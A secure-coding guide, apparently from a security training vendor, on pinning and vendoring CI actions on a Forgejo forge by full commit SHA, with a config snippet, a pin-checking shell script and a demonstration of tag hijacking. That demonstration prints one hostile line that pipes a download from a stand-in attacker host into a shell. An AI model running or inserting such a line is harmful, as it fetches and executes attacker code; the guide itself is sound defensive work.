Vendoring CI actions at pinned SHAs, the secure way
uses: actions/checkout@v4 looks like a version number. It is a pointer that the action's maintainers, or whoever steals their token, can move tonight. Your pipeline will then run the new code with your secrets, and no commit on your side will show it.
The short answer
Copy every third-party action into a repository on your own forge at a reviewed commit, reference it by full URL and full 40-character commit SHA, and set DEFAULT_ACTIONS_URL so short names cannot reach outside hosts. A CI check rejects any uses: line that is a tag, a branch or another host.
On this page
What goes wrong
A CI step such as uses: actions/checkout@v4 downloads code from another
repository at run time and executes it inside your job. That job usually
holds a token that can push to your repository, registry credentials, and
deploy keys.
v4 is a Git tag. Tags can be moved or deleted by anyone with push rights to
that repository. Many actions also move a major tag (v7) forward with every
release on purpose. So the code your pipeline runs can change without any
change on your side.
This has happened at scale. In March 2025 the tags of the widely used
tj-actions/changed-files action were pointed at a malicious commit that
printed CI secrets into build logs. Every workflow that referenced the action
by tag ran it. Workflows pinned to an older full commit SHA did not.
Forgejo adds one more twist. A short name such as actions/checkout is
resolved against a default actions host, which is a public instance unless
you change it.
What the docs say
Pinning an action to a full-length commit SHA is currently the only way to use an action as an immutable release.
Source: GitHub docs, Secure use reference
Because it is possible to compromise tags, it is recommended to use commit SHAs for security reasons.
Source: Forgejo docs, Actions reference
When possible it is strongly recommended to choose fully qualified URLs to avoid ambiguities.
Source: Forgejo docs, Actions reference
In a workflow, when
uses:does not specify an absolute URL, the value ofDEFAULT_ACTIONS_URLis prepended to it.
Source: Forgejo docs, Forgejo Actions administrator guide
Pinning a SHA fixes which commit runs. It does not keep the upstream
repository available, and it does not help if the action itself downloads
more code at run time (a Docker image by tag, a script with curl). Vendoring
into your own forge handles the first; reviewing the action handles the
second.
The secure configuration
1. Point short names at your own forge
In Forgejo's app.ini, so that uses: actions/checkout@... can never reach a
public instance:
[actions]
ENABLED = true
; Short "uses:" names resolve here. This must be your own instance, with an
; "actions" organization that only the platform team can write to.
DEFAULT_ACTIONS_URL = https://git.example.com2. Vendor each action at a reviewed commit
# Resolve the release tag to its commit. For annotated tags, use the "^{}" line.
git ls-remote https://github.com/actions/checkout 'refs/tags/v7.0.1*'
SHA=3d3c42e5aac5ba805825da76410c181273ba90b1 # the commit you reviewed
git init checkout && cd checkout
git fetch https://github.com/actions/checkout "$SHA"
git checkout FETCH_HEAD
test "$(git rev-parse HEAD)" = "$SHA"
# Review: action.yml (what runs, which node version, which Docker image),
# the compiled dist/ file for JavaScript actions, and any network calls.
git push https://git.example.com/actions/checkout.git \
HEAD:refs/heads/main HEAD:refs/tags/v7.0.1The actions organization on your forge has branch and tag protection, and
only the platform team can push to it. Updating an action is the same steps
with a new SHA, reviewed like any other dependency.
3. Reference by full URL and full SHA
on: [push]
jobs:
build:
runs-on: docker
steps:
- uses: https://git.example.com/actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false # do not leave the token in .git/config for later steps
- uses: ./.forgejo/actions/setup # actions in this repository are reviewed with the code
- run: make testThe comment keeps the human-readable version next to the SHA, so update tools and reviewers can see what it is.
4. Gate every workflow change
#!/bin/sh
# check-pins.sh WORKFLOW_DIR
# Every "uses:" must be one of:
# ./path (an action in this repository)
# https://$ACTIONS_HOST/owner/repo@<40-hex commit SHA>
# docker://image@sha256:<64 hex>
# Anything else (a tag, a branch, a short name, another host) fails.
set -eu
ACTIONS_HOST=${ACTIONS_HOST:-git.example.com}
for f in "$1"/*.yml "$1"/*.yaml; do
[ -f "$f" ] || continue
grep -n -E '^[[:space:]]*(-[[:space:]]+)?uses:' "$f" | while IFS= read -r line; do
ref=$(printf '%s\n' "$line" | sed -E 's/^[0-9]+:[[:space:]]*(-[[:space:]]+)?uses:[[:space:]]*//; s/[[:space:]]+#.*$//; s/^["'\'']//; s/["'\'']$//')
case "$ref" in
./*) continue ;;
esac
if printf '%s' "$ref" | grep -q -E "^https://${ACTIONS_HOST}/[^@ ]+@[0-9a-f]{40}$"; then continue; fi
if printf '%s' "$ref" | grep -q -E '^docker://[^@ ]+@sha256:[0-9a-f]{64}$'; then continue; fi
echo "UNPINNED $f:${line%%:*}: $ref"
echo x >> "${TMPDIR:-/tmp}/check-pins.$$"
done
done
if [ -s "${TMPDIR:-/tmp}/check-pins.$$" ]; then rm -f "${TMPDIR:-/tmp}/check-pins.$$"; exit 1; fi
rm -f "${TMPDIR:-/tmp}/check-pins.$$"
echo "all actions pinned to vendored commits"Run it on .forgejo/workflows (and .github/workflows if you have both) in
a required check, and protect the workflow directory with code owners so a
pull request cannot change the check and the workflow at once.
Prove it
Upstream, a major tag is simply the latest release at the moment:
git ls-remote https://github.com/actions/checkout refs/tags/v7 refs/tags/v7.0.0 refs/tags/v7.0.13d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7
9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 refs/tags/v7.0.0
3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7.0.1In a throwaway repository, a tag is moved to a new commit. The tag now serves the new code; the old SHA still serves the old code:
git tag -f v1 HEAD # the maintainer account is compromised
git show v1:run.sh
git show 9375fce30816087614f06e74a74c3eb7520adc7c:run.shUpdated tag 'v1' (was 9375fce)
curl -s https://attacker.example.net/x | sh
echo safeVendoring one commit into a bare repository that stands in for your forge:
git fetch https://github.com/actions/checkout 3d3c42e5aac5ba805825da76410c181273ba90b1
git checkout FETCH_HEAD && git rev-parse HEAD
git push /forge/actions/checkout.git HEAD:refs/heads/main HEAD:refs/tags/v7.0.1
git ls-remote /forge/actions/checkout.git3d3c42e5aac5ba805825da76410c181273ba90b1
3d3c42e5aac5ba805825da76410c181273ba90b1 HEAD
3d3c42e5aac5ba805825da76410c181273ba90b1 refs/heads/main
3d3c42e5aac5ba805825da76410c181273ba90b1 refs/tags/v7.0.1The gate on a workflow with a short name, a branch, and a tag on your own host, then on the pinned workflow:
ACTIONS_HOST=git.example.com sh check-pins.sh bad/
ACTIONS_HOST=git.example.com sh check-pins.sh good/
forgejo-runner validate --workflow --path good/build.ymlUNPINNED bad/build.yml:6: actions/checkout@v4
UNPINNED bad/build.yml:7: https://github.com/example/setup-tool@main
UNPINNED bad/build.yml:8: https://git.example.com/actions/cache@v4
exit code 1
all actions pinned to vendored commits
/wf/good/build.yml workflow schema validation OKA tag on your own host fails too: your own tags can move as well.
Mistakes people make
Pinning the tag object instead of the commit
For an annotated tag, git ls-remote prints two lines: the tag object and,
with ^{}, the commit it points to. Pin the commit. Check with git rev-parse HEAD after checkout.
Pinning a SHA from a fork
A SHA that exists only in a fork can still look like it belongs to the upstream project in some forges' URLs. Fetch the SHA from the repository you vendor, confirm it is reachable from a release tag there, and push it to your own forge.
Short names with the default actions host
Without DEFAULT_ACTIONS_URL pointing at your own instance, uses: actions/checkout@<sha> still downloads from a public host. Use full URLs, and
change the default anyway.
Trusting the action's own dependencies
An action pinned by SHA can still run docker://some/image:latest or fetch a
script at run time. Read action.yml. Vendor its images by digest too.
Leaving the checkout token for later steps
By default, checkout actions store the job token in .git/config, where every
later step (including a malicious dependency's post-install script) can read
it. Set persist-credentials: false unless a later step must push.
Checklist
DEFAULT_ACTIONS_URLpoints at your own forge.- Every third-party action is vendored into an
actionsorganization only the platform team can write to. - Each vendored commit was reviewed, including
action.ymland anydist/code. - Every
uses:is a full URL with a 40-character commit SHA, or a local./action. - Docker actions reference images by
@sha256:digest. - A required CI check rejects tags, branches, short names and other hosts in
uses:. - The workflow directory has code owners.
- Checkout steps set
persist-credentials: falseunless a push is needed. - Action updates are pull requests with the new SHA and the reviewed diff.
A version tag is a promise from someone else. A commit SHA in your own forge is a promise you can keep.
H2-CSDE
Learn it on a live range
Dependencies and vendoring, in DevSecOps and Supply Chain: a real host in your browser, and every objective checked on the machine.
Start freeH2 Scanner
Want this caught before it merges?
The H2 Scanner runs in your CI and flags the weaknesses pages like this one warn about, on every pull request.
Talk to us